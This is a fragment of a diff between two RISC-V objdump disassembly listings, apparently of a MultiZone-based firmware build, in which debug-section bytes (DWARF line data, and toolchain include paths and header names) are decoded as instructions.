-    12b4:	0f030603          	lb	a2,240(t1)
-    12b8:	0609                	addi	a2,a2,2
-    12ba:	0100                	addi	s0,sp,128
-    12bc:	1505                	addi	a0,a0,-31
-    12be:	0200                	addi	s0,sp,256
-    12c0:	0204                	addi	s1,sp,256
-    12c2:	14095f03          	lhu	t5,320(s2)
-    12c6:	0100                	addi	s0,sp,128
-    12c8:	1005                	c.nop	-31
-    12ca:	0200                	addi	s0,sp,256
-    12cc:	0204                	addi	s1,sp,256
-    12ce:	00090003          	lb	zero,0(s2)
-    12d2:	0100                	addi	s0,sp,128
-    12d4:	0205                	addi	tp,tp,1
-    12d6:	0200                	addi	s0,sp,256
-    12d8:	0204                	addi	s1,sp,256
-    12da:	0306                	slli	t1,t1,0x1
-    12dc:	0900                	addi	s0,sp,144
-    12de:	0000                	unimp
-    12e0:	0501                	addi	a0,a0,0
-    12e2:	0301                	addi	t1,t1,0
-    12e4:	0925                	addi	s2,s2,9
-    12e6:	000c                	0xc
-    12e8:	0501                	addi	a0,a0,0
-    12ea:	060a                	slli	a2,a2,0x2
-    12ec:	16096a03          	0x16096a03
-    12f0:	0100                	addi	s0,sp,128
-    12f2:	0d05                	addi	s10,s10,1
-    12f4:	0306                	slli	t1,t1,0x1
-    12f6:	0900                	addi	s0,sp,144
-    12f8:	0000                	unimp
-    12fa:	0501                	addi	a0,a0,0
-    12fc:	0604                	addi	s1,sp,768
-    12fe:	06090103          	lb	sp,96(s2)
-    1302:	0100                	addi	s0,sp,128
-    1304:	0a05                	addi	s4,s4,1
-    1306:	0306                	slli	t1,t1,0x1
-    1308:	0900                	addi	s0,sp,144
-    130a:	0000                	unimp
-    130c:	0501                	addi	a0,a0,0
-    130e:	0304                	addi	s1,sp,384
-    1310:	0902                	c.slli64	s2
-    1312:	0004                	0x4
-    1314:	0501                	addi	a0,a0,0
-    1316:	030a                	slli	t1,t1,0x2
-    1318:	097e                	slli	s2,s2,0x1f
-    131a:	0008                	0x8
-    131c:	0501                	addi	a0,a0,0
-    131e:	0604                	addi	s1,sp,768
-    1320:	02090103          	lb	sp,32(s2)
-    1324:	0100                	addi	s0,sp,128
-    1326:	0805                	addi	a6,a6,1
-    1328:	0306                	slli	t1,t1,0x1
-    132a:	0900                	addi	s0,sp,144
-    132c:	0000                	unimp
-    132e:	0501                	addi	a0,a0,0
-    1330:	0604                	addi	s1,sp,768
-    1332:	04090103          	lb	sp,64(s2)
-    1336:	0100                	addi	s0,sp,128
-    1338:	0a05                	addi	s4,s4,1
-    133a:	02090203          	lb	tp,32(s2)
-    133e:	0100                	addi	s0,sp,128
-    1340:	0d05                	addi	s10,s10,1
-    1342:	0306                	slli	t1,t1,0x1
-    1344:	0900                	addi	s0,sp,144
-    1346:	0000                	unimp
-    1348:	0501                	addi	a0,a0,0
-    134a:	09020313          	addi	t1,tp,144 # 90 <__stack_size-0x770>
-    134e:	0006                	c.slli	zero,0x1
-    1350:	0501                	addi	a0,a0,0
-    1352:	030d                	addi	t1,t1,3
-    1354:	097f                	0x97f
-    1356:	0004                	0x4
-    1358:	0501                	addi	a0,a0,0
-    135a:	0605                	addi	a2,a2,1
-    135c:	02090103          	lb	sp,32(s2)
-    1360:	0100                	addi	s0,sp,128
-    1362:	1705                	addi	a4,a4,-31
-    1364:	0306                	slli	t1,t1,0x1
-    1366:	0900                	addi	s0,sp,144
-    1368:	0000                	unimp
-    136a:	0501                	addi	a0,a0,0
-    136c:	031d                	addi	t1,t1,7
-    136e:	0900                	addi	s0,sp,144
-    1370:	0004                	0x4
-    1372:	0501                	addi	a0,a0,0
-    1374:	0308                	addi	a0,sp,384
-    1376:	0900                	addi	s0,sp,144
-    1378:	0004                	0x4
-    137a:	0501                	addi	a0,a0,0
-    137c:	0606                	slli	a2,a2,0x1
-    137e:	02090103          	lb	sp,32(s2)
-    1382:	0100                	addi	s0,sp,128
-    1384:	00090103          	lb	sp,0(s2)
-    1388:	0100                	addi	s0,sp,128
-    138a:	2305                	jal	18aa <__stack_size+0x10aa>
-    138c:	0306                	slli	t1,t1,0x1
-    138e:	0900                	addi	s0,sp,144
-    1390:	0000                	unimp
-    1392:	0501                	addi	a0,a0,0
-    1394:	030c                	addi	a1,sp,384
-    1396:	0900                	addi	s0,sp,144
-    1398:	0004                	0x4
-    139a:	0501                	addi	a0,a0,0
-    139c:	0606                	slli	a2,a2,0x1
-    139e:	04090103          	lb	sp,64(s2)
-    13a2:	0100                	addi	s0,sp,128
-    13a4:	2305                	jal	18c4 <__stack_size+0x10c4>
-    13a6:	0306                	slli	t1,t1,0x1
-    13a8:	097e                	slli	s2,s2,0x1f
-    13aa:	0000                	unimp
-    13ac:	0501                	addi	a0,a0,0
-    13ae:	031e                	slli	t1,t1,0x7
-    13b0:	0900                	addi	s0,sp,144
-    13b2:	0002                	c.slli64	zero
-    13b4:	0501                	addi	a0,a0,0
-    13b6:	030a                	slli	t1,t1,0x2
-    13b8:	0902                	c.slli64	s2
-    13ba:	0006                	c.slli	zero,0x1
-    13bc:	0501                	addi	a0,a0,0
-    13be:	0606                	slli	a2,a2,0x1
-    13c0:	06090103          	lb	sp,96(s2)
-    13c4:	0100                	addi	s0,sp,128
-    13c6:	2205                	jal	14e6 <__stack_size+0xce6>
-    13c8:	0200                	addi	s0,sp,256
-    13ca:	0204                	addi	s1,sp,256
-    13cc:	0a097b03          	0xa097b03
-    13d0:	0100                	addi	s0,sp,128
-    13d2:	2305                	jal	18f2 <__stack_size+0x10f2>
-    13d4:	0200                	addi	s0,sp,256
-    13d6:	0204                	addi	s1,sp,256
-    13d8:	0306                	slli	t1,t1,0x1
-    13da:	0900                	addi	s0,sp,144
-    13dc:	0000                	unimp
-    13de:	0501                	addi	a0,a0,0
-    13e0:	0012                	c.slli	zero,0x4
-    13e2:	0402                	c.slli64	s0
-    13e4:	0602                	c.slli64	a2
-    13e6:	02090003          	lb	zero,32(s2)
-    13ea:	0100                	addi	s0,sp,128
-    13ec:	0405                	addi	s0,s0,1
-    13ee:	0200                	addi	s0,sp,256
-    13f0:	0204                	addi	s1,sp,256
-    13f2:	0306                	slli	t1,t1,0x1
-    13f4:	0900                	addi	s0,sp,144
-    13f6:	0000                	unimp
-    13f8:	0501                	addi	a0,a0,0
-    13fa:	031a                	slli	t1,t1,0x6
-    13fc:	0971                	addi	s2,s2,28
-    13fe:	0004                	0x4
-    1400:	0501                	addi	a0,a0,0
-    1402:	0311                	addi	t1,t1,4
-    1404:	0900                	addi	s0,sp,144
-    1406:	0002                	c.slli64	zero
-    1408:	0901                	addi	s2,s2,0
-    140a:	0004                	0x4
-    140c:	0100                	addi	s0,sp,128
-    140e:	0501                	addi	a0,a0,0
-    1410:	0014                	0x14
-    1412:	0205                	addi	tp,tp,1
-    1414:	21c8                	fld	fa0,128(a1)
-    1416:	2040                	fld	fs0,128(s0)
-    1418:	0102b003          	0x102b003
-    141c:	0205                	addi	tp,tp,1
-    141e:	00090203          	lb	tp,0(s2)
-    1422:	0100                	addi	s0,sp,128
-    1424:	00090103          	lb	sp,0(s2)
-    1428:	0100                	addi	s0,sp,128
-    142a:	00090203          	lb	tp,0(s2)
-    142e:	0100                	addi	s0,sp,128
-    1430:	00090203          	lb	tp,0(s2)
-    1434:	0100                	addi	s0,sp,128
-    1436:	0705                	addi	a4,a4,1
-    1438:	00090003          	lb	zero,0(s2)
-    143c:	0100                	addi	s0,sp,128
-    143e:	1805                	addi	a6,a6,-31
-    1440:	00090003          	lb	zero,0(s2)
-    1444:	0100                	addi	s0,sp,128
-    1446:	1405                	addi	s0,s0,-31
-    1448:	0306                	slli	t1,t1,0x1
-    144a:	0979                	addi	s2,s2,30
-    144c:	0000                	unimp
-    144e:	0501                	addi	a0,a0,0
-    1450:	030c                	addi	a1,sp,384
-    1452:	00260907          	0x260907
-    1456:	0501                	addi	a0,a0,0
-    1458:	0308                	addi	a0,sp,384
-    145a:	0906                	slli	s2,s2,0x1
-    145c:	0002                	c.slli64	zero
-    145e:	0301                	addi	t1,t1,0
-    1460:	0008090b          	0x8090b
-    1464:	0501                	addi	a0,a0,0
-    1466:	0306                	slli	t1,t1,0x1
-    1468:	0902                	c.slli64	s2
-    146a:	0002                	c.slli64	zero
-    146c:	0501                	addi	a0,a0,0
-    146e:	09010307          	0x9010307
-    1472:	0008                	0x8
-    1474:	0301                	addi	t1,t1,0
-    1476:	0902                	c.slli64	s2
-    1478:	0008                	0x8
-    147a:	0501                	addi	a0,a0,0
-    147c:	0305                	addi	t1,t1,1
-    147e:	0971                	addi	s2,s2,28
-    1480:	000c                	0xc
-    1482:	0501                	addi	a0,a0,0
-    1484:	0609                	addi	a2,a2,2
-    1486:	08097b03          	0x8097b03
-    148a:	0100                	addi	s0,sp,128
-    148c:	0305                	addi	t1,t1,1
-    148e:	00090203          	lb	tp,0(s2)
-    1492:	0100                	addi	s0,sp,128
-    1494:	0705                	addi	a4,a4,1
-    1496:	00090003          	lb	zero,0(s2)
-    149a:	0100                	addi	s0,sp,128
-    149c:	00090003          	lb	zero,0(s2)
-    14a0:	0100                	addi	s0,sp,128
-    14a2:	00090003          	lb	zero,0(s2)
-    14a6:	0100                	addi	s0,sp,128
-    14a8:	00090003          	lb	zero,0(s2)
-    14ac:	0100                	addi	s0,sp,128
-    14ae:	00090003          	lb	zero,0(s2)
-    14b2:	0100                	addi	s0,sp,128
-    14b4:	00090003          	lb	zero,0(s2)
-    14b8:	0100                	addi	s0,sp,128
-    14ba:	08090003          	lb	zero,128(s2)
-    14be:	0100                	addi	s0,sp,128
-    14c0:	02090003          	lb	zero,32(s2)
-    14c4:	0100                	addi	s0,sp,128
-    14c6:	02090003          	lb	zero,32(s2)
-    14ca:	0100                	addi	s0,sp,128
-    14cc:	02090003          	lb	zero,32(s2)
-    14d0:	0100                	addi	s0,sp,128
-    14d2:	02090003          	lb	zero,32(s2)
-    14d6:	0100                	addi	s0,sp,128
-    14d8:	0605                	addi	a2,a2,1
-    14da:	0306                	slli	t1,t1,0x1
-    14dc:	0900                	addi	s0,sp,144
-    14de:	0004                	0x4
-    14e0:	0501                	addi	a0,a0,0
-    14e2:	0604                	addi	s1,sp,768
-    14e4:	02090203          	lb	tp,32(s2)
-    14e8:	0100                	addi	s0,sp,128
-    14ea:	0805                	addi	a6,a6,1
-    14ec:	0306                	slli	t1,t1,0x1
-    14ee:	0900                	addi	s0,sp,144
-    14f0:	0000                	unimp
-    14f2:	0501                	addi	a0,a0,0
-    14f4:	09000307          	0x9000307
-    14f8:	0008                	0x8
-    14fa:	0501                	addi	a0,a0,0
-    14fc:	0605                	addi	a2,a2,1
-    14fe:	02090103          	lb	sp,32(s2)
-    1502:	0100                	addi	s0,sp,128
-    1504:	00090003          	lb	zero,0(s2)
-    1508:	0100                	addi	s0,sp,128
-    150a:	00090003          	lb	zero,0(s2)
-    150e:	0100                	addi	s0,sp,128
-    1510:	18090003          	lb	zero,384(s2)
-    1514:	0100                	addi	s0,sp,128
-    1516:	2505                	jal	1b36 <__stack_size+0x1336>
-    1518:	0200                	addi	s0,sp,256
-    151a:	0204                	addi	s1,sp,256
-    151c:	00097903          	0x97903
-    1520:	0100                	addi	s0,sp,128
-    1522:	2905                	jal	1952 <__stack_size+0x1152>
-    1524:	0200                	addi	s0,sp,256
-    1526:	0204                	addi	s1,sp,256
-    1528:	0306                	slli	t1,t1,0x1
-    152a:	0900                	addi	s0,sp,144
-    152c:	0000                	unimp
-    152e:	0501                	addi	a0,a0,0
-    1530:	0018                	0x18
-    1532:	0402                	c.slli64	s0
-    1534:	0602                	c.slli64	a2
-    1536:	02090003          	lb	zero,32(s2)
-    153a:	0100                	addi	s0,sp,128
-    153c:	0205                	addi	tp,tp,1
-    153e:	0200                	addi	s0,sp,256
-    1540:	0204                	addi	s1,sp,256
-    1542:	0306                	slli	t1,t1,0x1
-    1544:	0900                	addi	s0,sp,144
-    1546:	0000                	unimp
-    1548:	0501                	addi	a0,a0,0
-    154a:	0301                	addi	t1,t1,0
-    154c:	0922                	slli	s2,s2,0x8
-    154e:	000a                	c.slli	zero,0x2
-    1550:	0501                	addi	a0,a0,0
-    1552:	0605                	addi	a2,a2,1
-    1554:	1c096b03          	0x1c096b03
-    1558:	0100                	addi	s0,sp,128
-    155a:	2b05                	jal	1a8a <__stack_size+0x128a>
-    155c:	0a090003          	lb	zero,160(s2)
-    1560:	0100                	addi	s0,sp,128
-    1562:	3505                	jal	1382 <__stack_size+0xb82>
-    1564:	0306                	slli	t1,t1,0x1
-    1566:	0900                	addi	s0,sp,144
-    1568:	0000                	unimp
-    156a:	0501                	addi	a0,a0,0
-    156c:	0605                	addi	a2,a2,1
-    156e:	04090103          	lb	sp,64(s2)
-    1572:	0100                	addi	s0,sp,128
-    1574:	0805                	addi	a6,a6,1
-    1576:	0306                	slli	t1,t1,0x1
-    1578:	0900                	addi	s0,sp,144
-    157a:	0000                	unimp
-    157c:	0501                	addi	a0,a0,0
-    157e:	0335                	addi	t1,t1,13
-    1580:	097f                	0x97f
-    1582:	0004                	0x4
-    1584:	0501                	addi	a0,a0,0
-    1586:	0605                	addi	a2,a2,1
-    1588:	02090403          	lb	s0,32(s2)
-    158c:	0100                	addi	s0,sp,128
-    158e:	0a05                	addi	s4,s4,1
-    1590:	0306                	slli	t1,t1,0x1
-    1592:	0900                	addi	s0,sp,144
-    1594:	0000                	unimp
-    1596:	0501                	addi	a0,a0,0
-    1598:	0308                	addi	a0,sp,384
-    159a:	0900                	addi	s0,sp,144
-    159c:	0008                	0x8
-    159e:	0501                	addi	a0,a0,0
-    15a0:	0606                	slli	a2,a2,0x1
-    15a2:	04090203          	lb	tp,64(s2)
-    15a6:	0100                	addi	s0,sp,128
-    15a8:	0705                	addi	a4,a4,1
-    15aa:	0a090103          	lb	sp,160(s2)
-    15ae:	0100                	addi	s0,sp,128
-    15b0:	0a090103          	lb	sp,160(s2)
-    15b4:	0100                	addi	s0,sp,128
-    15b6:	0b05                	addi	s6,s6,1
-    15b8:	0306                	slli	t1,t1,0x1
-    15ba:	0900                	addi	s0,sp,144
+    10cc:	0602                	c.slli64	a2
+    10ce:	02090603          	lb	a2,32(s2)
+    10d2:	0100                	addi	s0,sp,128
+    10d4:	0405                	addi	s0,s0,1
+    10d6:	0306                	slli	t1,t1,0x1
+    10d8:	0900                	addi	s0,sp,144
+    10da:	0000                	unimp
+    10dc:	0501                	addi	a0,a0,0
+    10de:	01030603          	lb	a2,16(t1)
+    10e2:	0409                	addi	s0,s0,2
+    10e4:	0100                	addi	s0,sp,128
+    10e6:	0205                	addi	tp,tp,1
+    10e8:	04090203          	lb	tp,64(s2)
+    10ec:	0100                	addi	s0,sp,128
+    10ee:	0105                	addi	sp,sp,1
+    10f0:	0306                	slli	t1,t1,0x1
+    10f2:	0901                	addi	s2,s2,0
+    10f4:	0000                	unimp
+    10f6:	0901                	addi	s2,s2,0
+    10f8:	000e                	c.slli	zero,0x3
+    10fa:	0100                	addi	s0,sp,128
+    10fc:	f001                	bnez	s0,ffc <__stack_size+0x7fc>
+    10fe:	000e                	c.slli	zero,0x3
+    1100:	0300                	addi	s0,sp,384
+    1102:	c100                	sw	s0,0(a0)
+    1104:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
+    1108:	fb01                	bnez	a4,1018 <__stack_size+0x818>
+    110a:	0d0e                	slli	s10,s10,0x3
+    110c:	0100                	addi	s0,sp,128
+    110e:	0101                	addi	sp,sp,0
+    1110:	0001                	nop
+    1112:	0000                	unimp
+    1114:	0001                	nop
+    1116:	0100                	addi	s0,sp,128
+    1118:	2e2e                	fld	ft8,200(sp)
+    111a:	6168732f          	0x6168732f
+    111e:	6572                	flw	fa0,28(sp)
+    1120:	0064                	addi	s1,sp,12
+    1122:	6d6f682f          	0x6d6f682f
+    1126:	2f65                	jal	18de <__stack_size+0x10de>
+    1128:	6972                	flw	fs2,28(sp)
+    112a:	2f766373          	csrrsi	t1,0x2f7,12
+    112e:	6f74                	flw	fa3,92(a4)
+    1130:	2f736c6f          	jal	s8,37c26 <__stack_size+0x37426>
+    1134:	6972                	flw	fs2,28(sp)
+    1136:	2d766373          	csrrsi	t1,0x2d7,12
+    113a:	2d756e67          	0x2d756e67
+    113e:	6f74                	flw	fa3,92(a4)
+    1140:	68636c6f          	jal	s8,377c6 <__stack_size+0x36fc6>
+    1144:	6961                	lui	s2,0x18
+    1146:	2d6e                	fld	fs10,216(sp)
+    1148:	6568                	flw	fa0,76(a0)
+    114a:	6678                	flw	fa4,76(a2)
+    114c:	7669                	lui	a2,0xffffa
+    114e:	2f65                	jal	1906 <__stack_size+0x1106>
+    1150:	696c                	flw	fa1,84(a0)
+    1152:	2f62                	fld	ft10,24(sp)
+    1154:	2f636367          	0x2f636367
+    1158:	6972                	flw	fs2,28(sp)
+    115a:	36766373          	csrrsi	t1,0x367,12
+    115e:	2d34                	fld	fa3,88(a0)
+    1160:	6e75                	lui	t3,0x1d
+    1162:	776f6e6b          	0x776f6e6b
+    1166:	2d6e                	fld	fs10,216(sp)
+    1168:	6c65                	lui	s8,0x19
+    116a:	2f66                	fld	ft10,88(sp)
+    116c:	3031                	jal	978 <__stack_size+0x178>
+    116e:	312e                	fld	ft2,232(sp)
+    1170:	302e                	fld	ft0,232(sp)
+    1172:	636e692f          	0x636e692f
+    1176:	756c                	flw	fa1,108(a0)
+    1178:	6564                	flw	fs1,76(a0)
+    117a:	2e00                	fld	fs0,24(a2)
+    117c:	2f2e                	fld	ft10,200(sp)
+    117e:	72616873          	csrrsi	a6,0x726,2
+    1182:	6465                	lui	s0,0x19
+    1184:	636e692f          	0x636e692f
+    1188:	756c                	flw	fa1,108(a0)
+    118a:	6564                	flw	fs1,76(a0)
+    118c:	2f00                	fld	fs0,24(a4)
+    118e:	6f68                	flw	fa0,92(a4)
+    1190:	656d                	lui	a0,0x1b
+    1192:	7369722f          	0x7369722f
+    1196:	742f7663          	bgeu	t5,sp,18e2 <__stack_size+0x10e2>
+    119a:	736c6f6f          	jal	t5,c78d0 <__stack_size+0xc70d0>
+    119e:	7369722f          	0x7369722f
+    11a2:	672d7663          	bgeu	s10,s2,180e <__stack_size+0x100e>
+    11a6:	756e                	flw	fa0,248(sp)
+    11a8:	742d                	lui	s0,0xfffeb
+    11aa:	636c6f6f          	jal	t5,c77e0 <__stack_size+0xc6fe0>
+    11ae:	6168                	flw	fa0,68(a0)
+    11b0:	6e69                	lui	t3,0x1a
+    11b2:	682d                	lui	a6,0xb
+    11b4:	7865                	lui	a6,0xffff9
+    11b6:	6966                	flw	fs2,88(sp)
+    11b8:	6576                	flw	fa0,92(sp)
+    11ba:	7369722f          	0x7369722f
+    11be:	34367663          	bgeu	a2,gp,150a <__stack_size+0xd0a>
+    11c2:	752d                	lui	a0,0xfffeb
+    11c4:	6b6e                	flw	fs6,216(sp)
+    11c6:	6f6e                	flw	ft10,216(sp)
+    11c8:	652d6e77          	0x652d6e77
+    11cc:	666c                	flw	fa1,76(a2)
+    11ce:	636e692f          	0x636e692f
+    11d2:	756c                	flw	fa1,108(a0)
+    11d4:	6564                	flw	fs1,76(a0)
+    11d6:	2f00                	fld	fs0,24(a4)
+    11d8:	6f68                	flw	fa0,92(a4)
+    11da:	656d                	lui	a0,0x1b
+    11dc:	7369722f          	0x7369722f
+    11e0:	742f7663          	bgeu	t5,sp,192c <__stack_size+0x112c>
+    11e4:	736c6f6f          	jal	t5,c791a <__stack_size+0xc711a>
+    11e8:	7369722f          	0x7369722f
+    11ec:	672d7663          	bgeu	s10,s2,1858 <__stack_size+0x1058>
+    11f0:	756e                	flw	fa0,248(sp)
+    11f2:	742d                	lui	s0,0xfffeb
+    11f4:	636c6f6f          	jal	t5,c782a <__stack_size+0xc702a>
+    11f8:	6168                	flw	fa0,68(a0)
+    11fa:	6e69                	lui	t3,0x1a
+    11fc:	682d                	lui	a6,0xb
+    11fe:	7865                	lui	a6,0xffff9
+    1200:	6966                	flw	fs2,88(sp)
+    1202:	6576                	flw	fa0,92(sp)
+    1204:	7369722f          	0x7369722f
+    1208:	34367663          	bgeu	a2,gp,1554 <__stack_size+0xd54>
+    120c:	752d                	lui	a0,0xfffeb
+    120e:	6b6e                	flw	fs6,216(sp)
+    1210:	6f6e                	flw	ft10,216(sp)
+    1212:	652d6e77          	0x652d6e77
+    1216:	666c                	flw	fa1,76(a2)
+    1218:	636e692f          	0x636e692f
+    121c:	756c                	flw	fa1,108(a0)
+    121e:	6564                	flw	fs1,76(a0)
+    1220:	7379732f          	0x7379732f
+    1224:	2e00                	fld	fs0,24(a2)
+    1226:	2f2e                	fld	ft10,200(sp)
+    1228:	7865                	lui	a6,0xffff9
+    122a:	2f74                	fld	fa3,216(a4)
+    122c:	756d                	lui	a0,0xffffb
+    122e:	746c                	flw	fa1,108(s0)
+    1230:	7a69                	lui	s4,0xffffa
+    1232:	00656e6f          	jal	t3,57238 <__stack_size+0x56a38>
+    1236:	6d6f682f          	0x6d6f682f
+    123a:	2f65                	jal	19f2 <__stack_size+0x11f2>
+    123c:	6972                	flw	fs2,28(sp)
+    123e:	2f766373          	csrrsi	t1,0x2f7,12
+    1242:	6f74                	flw	fa3,92(a4)
+    1244:	2f736c6f          	jal	s8,37d3a <__stack_size+0x3753a>
+    1248:	6972                	flw	fs2,28(sp)
+    124a:	2d766373          	csrrsi	t1,0x2d7,12
+    124e:	2d756e67          	0x2d756e67
+    1252:	6f74                	flw	fa3,92(a4)
+    1254:	68636c6f          	jal	s8,378da <__stack_size+0x370da>
+    1258:	6961                	lui	s2,0x18
+    125a:	2d6e                	fld	fs10,216(sp)
+    125c:	6568                	flw	fa0,76(a0)
+    125e:	6678                	flw	fa4,76(a2)
+    1260:	7669                	lui	a2,0xffffa
+    1262:	2f65                	jal	1a1a <__stack_size+0x121a>
+    1264:	6972                	flw	fs2,28(sp)
+    1266:	36766373          	csrrsi	t1,0x367,12
+    126a:	2d34                	fld	fa3,88(a0)
+    126c:	6e75                	lui	t3,0x1d
+    126e:	776f6e6b          	0x776f6e6b
+    1272:	2d6e                	fld	fs10,216(sp)
+    1274:	6c65                	lui	s8,0x19
+    1276:	2f66                	fld	ft10,88(sp)
+    1278:	6e69                	lui	t3,0x1a
+    127a:	64756c63          	bltu	a0,t2,18d2 <__stack_size+0x10d2>
+    127e:	2f65                	jal	1a36 <__stack_size+0x1236>
+    1280:	616d                	addi	sp,sp,240
+    1282:	6e696863          	bltu	s2,t1,1972 <__stack_size+0x1172>
+    1286:	0065                	c.nop	25
+    1288:	6d00                	flw	fs0,24(a0)
+    128a:	7365                	lui	t1,0xffff9
+    128c:	65676173          	csrrsi	sp,0x656,14
+    1290:	6148                	flw	fa0,4(a0)
+    1292:	646e                	flw	fs0,216(sp)
+    1294:	696c                	flw	fa1,84(a0)
+    1296:	676e                	flw	fa4,216(sp)
+    1298:	632e                	flw	ft6,200(sp)
+    129a:	0100                	addi	s0,sp,128
+    129c:	0000                	unimp
+    129e:	69647473          	csrrci	s0,0x696,8
+    12a2:	746e                	flw	fs0,248(sp)
+    12a4:	672d                	lui	a4,0xb
+    12a6:	682e6363          	bltu	t3,sp,192c <__stack_size+0x112c>
+    12aa:	0200                	addi	s0,sp,256
+    12ac:	0000                	unimp
+    12ae:	6f5a                	flw	ft10,148(sp)
+    12b0:	656e                	flw	fa0,216(sp)
+    12b2:	654d                	lui	a0,0x13
+    12b4:	67617373          	csrrci	t1,0x676,2
+    12b8:	2e65                	jal	1670 <__stack_size+0xe70>
+    12ba:	0068                	addi	a0,sp,12
+    12bc:	73000003          	lb	zero,1840(zero) # 730 <__stack_size-0xd0>
+    12c0:	7274                	flw	fa3,100(a2)
+    12c2:	6e69                	lui	t3,0x1a
+    12c4:	00682e67          	0x682e67
+    12c8:	0004                	0x4
+    12ca:	7300                	flw	fs0,32(a4)
+    12cc:	6474                	flw	fa3,76(s0)
+    12ce:	6f69                	lui	t5,0x1a
+    12d0:	682e                	flw	fa6,200(sp)
+    12d2:	0400                	addi	s0,sp,512
+    12d4:	0000                	unimp
+    12d6:	6c647473          	csrrci	s0,0x6c6,8
+    12da:	6269                	lui	tp,0x1a
+    12dc:	682e                	flw	fa6,200(sp)
+    12de:	0400                	addi	s0,sp,512
+    12e0:	0000                	unimp
+    12e2:	6e75                	lui	t3,0x1d
+    12e4:	7369                	lui	t1,0xffffa
+    12e6:	6474                	flw	fa3,76(s0)
+    12e8:	682e                	flw	fa6,200(sp)
+    12ea:	0500                	addi	s0,sp,640
+    12ec:	0000                	unimp
+    12ee:	656d                	lui	a0,0x1b
+    12f0:	67617373          	csrrci	t1,0x676,2
+    12f4:	4865                	li	a6,25
+    12f6:	6e61                	lui	t3,0x18
+    12f8:	6c64                	flw	fs1,92(s0)
+    12fa:	6e69                	lui	t3,0x1a
+    12fc:	00682e67          	0x682e67
+    1300:	6d000003          	lb	zero,1744(zero) # 6d0 <__stack_size-0x130>
+    1304:	6c75                	lui	s8,0x1d
+    1306:	6974                	flw	fa3,84(a0)
+    1308:	6f7a                	flw	ft10,156(sp)
+    130a:	656e                	flw	fa0,216(sp)
+    130c:	682e                	flw	fa6,200(sp)
+    130e:	0600                	addi	s0,sp,768
+    1310:	0000                	unimp
+    1312:	69647473          	csrrci	s0,0x696,8
+    1316:	746e                	flw	fs0,248(sp)
+    1318:	682e                	flw	fa6,200(sp)
+    131a:	0200                	addi	s0,sp,256
+    131c:	0000                	unimp
+    131e:	6e75                	lui	t3,0x1d
+    1320:	7369                	lui	t1,0xffffa
+    1322:	6474                	flw	fa3,76(s0)
+    1324:	682e                	flw	fa6,200(sp)
+    1326:	0400                	addi	s0,sp,512
+    1328:	0000                	unimp
+    132a:	615f 736e 2e69      	0x2e69736e615f
+    1330:	0068                	addi	a0,sp,12
+    1332:	0004                	0x4
+    1334:	6e00                	flw	fs0,24(a2)
+    1336:	7765                	lui	a4,0xffff9
+    1338:	696c                	flw	fa1,84(a0)
+    133a:	2e62                	fld	ft8,24(sp)
+    133c:	0068                	addi	a0,sp,12
+    133e:	0004                	0x4
+    1340:	5f00                	lw	s0,56(a4)
+    1342:	656e                	flw	fa0,216(sp)
+    1344:	62696c77          	0x62696c77
+    1348:	765f 7265 6973      	0x69737265765f
+    134e:	682e6e6f          	jal	t3,e79d0 <__stack_size+0xe71d0>
+    1352:	0400                	addi	s0,sp,512
+    1354:	0000                	unimp
+    1356:	666e6f63          	bltu	t3,t1,19d4 <__stack_size+0x11d4>
+    135a:	6769                	lui	a4,0x1a
+    135c:	682e                	flw	fa6,200(sp)
+    135e:	0500                	addi	s0,sp,640
+    1360:	0000                	unimp
+    1362:	6569                	lui	a0,0x1a
+    1364:	6565                	lui	a0,0x19
+    1366:	7066                	flw	ft0,120(sp)
+    1368:	682e                	flw	fa6,200(sp)
+    136a:	0700                	addi	s0,sp,896
+    136c:	0000                	unimp
+    136e:	6566                	flw	fa0,88(sp)
+    1370:	7461                	lui	s0,0xffff8
+    1372:	7275                	lui	tp,0xffffd
+    1374:	7365                	lui	t1,0xffff9
+    1376:	682e                	flw	fa6,200(sp)
+    1378:	0500                	addi	s0,sp,640
+    137a:	0000                	unimp
+    137c:	66656463          	bltu	a0,t1,19e4 <__stack_size+0x11e4>
+    1380:	00682e73          	csrrs	t3,0x6,a6
+    1384:	0005                	c.nop	1
+    1386:	5f00                	lw	s0,56(a4)
+    1388:	6564                	flw	fs1,76(a0)
+    138a:	6166                	flw	ft2,88(sp)
+    138c:	6c75                	lui	s8,0x1d
+    138e:	5f74                	lw	a3,124(a4)
+    1390:	7974                	flw	fa3,116(a0)
+    1392:	6570                	flw	fa2,76(a0)
+    1394:	00682e73          	csrrs	t3,0x6,a6
+    1398:	73000007          	0x73000007
+    139c:	6474                	flw	fa3,76(s0)
+    139e:	6564                	flw	fs1,76(a0)
+    13a0:	2e66                	fld	ft8,88(sp)
+    13a2:	0068                	addi	a0,sp,12
+    13a4:	0002                	c.slli64	zero
+    13a6:	7400                	flw	fs0,40(s0)
+    13a8:	7079                	c.lui	zero,0xffffe
+    13aa:	7365                	lui	t1,0xffff9
+    13ac:	682e                	flw	fa6,200(sp)
+    13ae:	0500                	addi	s0,sp,640
+    13b0:	0000                	unimp
+    13b2:	745f 7079 7365      	0x73657079745f
+    13b8:	682e                	flw	fa6,200(sp)
+    13ba:	0700                	addi	s0,sp,896
+    13bc:	0000                	unimp
+    13be:	745f 7079 7365      	0x73657079745f
+    13c4:	682e                	flw	fa6,200(sp)
+    13c6:	0500                	addi	s0,sp,640
+    13c8:	0000                	unimp
+    13ca:	735f 6474 6e69      	0x6e696474735f
+    13d0:	2e74                	fld	fa3,216(a2)
+    13d2:	0068                	addi	a0,sp,12
+    13d4:	0005                	c.nop	1
+    13d6:	6500                	flw	fs0,8(a0)
+    13d8:	646e                	flw	fs0,216(sp)
+    13da:	6169                	addi	sp,sp,208
+    13dc:	2e6e                	fld	ft8,216(sp)
+    13de:	0068                	addi	a0,sp,12
+    13e0:	5f000007          	0x5f000007
+    13e4:	6e65                	lui	t3,0x19
+    13e6:	6964                	flw	fs1,84(a0)
+    13e8:	6e61                	lui	t3,0x18
+    13ea:	682e                	flw	fa6,200(sp)
+    13ec:	0700                	addi	s0,sp,896
+    13ee:	0000                	unimp
+    13f0:	656c6573          	csrrsi	a0,0x656,24
+    13f4:	682e7463          	bgeu	t3,sp,1a7c <__stack_size+0x127c>
+    13f8:	0500                	addi	s0,sp,640
+    13fa:	0000                	unimp
+    13fc:	735f 6769 6573      	0x65736769735f
+    1402:	2e74                	fld	fa3,216(a2)
+    1404:	0068                	addi	a0,sp,12
+    1406:	0005                	c.nop	1
+    1408:	5f00                	lw	s0,56(a4)
+    140a:	6974                	flw	fa3,84(a0)
+    140c:	656d                	lui	a0,0x1b
